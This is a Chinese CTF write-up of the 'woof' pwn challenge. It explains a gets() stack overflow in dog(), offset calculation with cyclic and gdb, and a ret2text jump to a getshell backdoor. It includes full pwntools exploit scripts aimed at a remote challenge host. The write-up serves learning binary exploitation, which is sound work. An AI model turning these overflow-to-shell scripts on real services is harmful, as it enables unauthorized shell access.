官方解题过程视频地址https://www.bilibili.com/video/BV1fr4y1Z73F/?spm_id_from333.999.0.0vd_source8f0afd63b200110f194b702a250fa6ec将woof拖入虚拟机进行识别checksec将woof拖入32位的IDA点击查看init()发现就是一些没用的初始化函数分析dog()函数发现很明显的溢出按下ShiftF12点击/bin/sh然后Ctrlx跟进下F5找到了后门函数下面动态调试woof创建200个长度的字符串并复制下来这里200个字符串是随意的也可以是其他的主要是让程序报错得到偏移量然后main函数下断点然后输入r运行一直n运行到输入点将刚刚的字符串粘贴进去发现程序中断报错将报错的地址进行复制计算偏移量偏移量13的意义是 - 表示从输入缓冲区的起始位置到覆盖返回地址的距离 - 具体来说 - 前13个字节是正常的缓冲区数据 - 第14个字节开始就会覆盖返回地址 - 这就是为什么最后的exploit是13个A 后门地址然后查看下getshell函数地址发现getshell函数地址为0804859b使用objdump快速查找getshell函数地址# --解释 # -d反汇编 # -M使用Intel格式的汇编代码 objdump -d -M intel ./woof | grep getshell也可以在IDA中找getshell的地址右键选择“Copy to assembly”然后编辑下利用脚本执行脚本# 本地调试 from pwn import * io process(./woof) # process or remote payload A*13 p32(0x0804859b) io.sendline(payload) io.interactive()# 远程攻击 from pwn import * io remote(1.95.36.136, 2119) # process or remote payload A*13 p32(0x0804859b) io.sendline(payload) io.interactive()下面是自己昨天做题成功的解码自己的做题过程先检查下woof的NX是数据页不可执行ret2text是跳转到可执行的text段并没有影响。影响ret2text的Cannary防止栈溢出和PIE都没有开启地址随机化是32位的程序用IDA32为的分析下 woof然后按下F5查看伪代码可以看到有2个函数第一个init()函数没什么作用就是方便我们做题做的前置设置主要是dog()函数可以看到接收gets(s)而且可以看到s大小为9那么接下来我们找下后门函数可以看到getshell可以帮助我们获取到/bin/sh并且它的地址为0x804859B那么我们就需要先填充9个字节的内容把s的内容填占满然后再额外填充4个字节的内容把ebp占满然后再将getshell的地址填充到返回地址即可0x804859Bpayload如下from pwn import * io process(./woof) # 攻击远程的程序将process换成remote(地址,端口) io remote(1.95.36.136,2113) get_shell_addr 0x804859B payload bA*0x9 bBBBB p32(get_shell_addr) io.sendline(payload) io.interactive()这里我们直接看IDA分析看到是需要9个字节可以填充到ebp但是有时候IDA里面是分析错误的所以最好我们手动进行分析一直输入n步过直到运行到dog()函数输入s步进到dog函数进入到函数之后也是一直输入n步过执行到gets函数位置到gets位置后会让你输入字符这里我就输入AAAA然后回车再输入stack 24查看堆栈信息我们输入的内容是存放到eax中的这里我们要计算下ebp到eax的注意这里eax-3所以要额外多减去3可以看到算出的也是9就说明要填充9个字节内容来占满。疑问解答因为自己是第一次学习PWN想弄清楚一些细节下面是我与豆包的对话1、IDA的Ctrlx是什么快捷键有什么用2、F5是什么的快捷键有什么用3、cyclic 200这个命令是什么用如何记忆这个命令4、“cyclic -l 报错地址”计算的是什么东西为什么通过这个就可以确定要填充的垃圾数据长度5、解释下命令“objdump -d -M inter ./woof | grep getshell”6、cyclic -l 的工作过程是什么样子的7、“objdump -d -M intel ... | grep” -d参数我应该如何记忆住